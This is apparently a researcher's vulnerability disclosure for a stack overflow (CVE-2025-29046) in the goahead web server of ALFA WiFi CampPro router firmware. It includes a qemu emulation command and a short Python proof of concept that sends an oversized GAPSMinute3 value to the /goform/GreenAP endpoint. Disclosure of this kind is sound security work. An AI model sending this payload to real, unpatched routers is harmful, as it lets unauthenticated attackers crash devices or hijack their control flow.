ALFA-WiFi-CampPro-GreenAP-GAPSMinute3.md

ALFA WiFi CampPro-GreenAP-GAPSMinute3

Vulnerability Details

• Affected Firmware: ALFA_CAMPRO-co-2.29
• CVE-ID: CVE-2025-29046
• Root Cause: By analyzing the goahead file in the bin directory, I found that the function GreenAP contains a stack overflow vulnerability.
• Impact: Remote unauthenticated attackers can hijack the program's control flow.

Vendor Information

• Vendor Website: https://www.alfa.com.tw/
• Affected Firmware Download: [goahead](https://files.alfa.com.tw/[7] CampPro/WiFi CampPro/ALFA_CAMPRO-co-2.29.img)

During my internship at Qi An Xin Tiangong Lab, I discovered a stack overflow vulnerability in the ALFA WiFi CampPro router.

By analyzing the goahead file in the bin directory, I found that the function GreenAP contains a stack overflow vulnerability.

The stack overflow can be triggered by the GAPSMinute3 key value, which leads to a sprintf stack overflow.

How can we simulate a router

Use the following command to simulate with qemu-mipsel-static.

sudo qemu-mipsel-static -L ./ ./bin/goahead

The content of the poc.py file is as follows:

import requests
url = "http://127.0.0.1/goform/GreenAP"
data = {
        "GAPSMinute3": "a"*0x100
}

res = requests.post(url,data=data)
print(res.text)

Attack result

One can see that his stack space is 0x100.

After execution, it overflows to 0x0x14c. If you want to overflow more, you can modify the GAPSMinute3 key value in the code.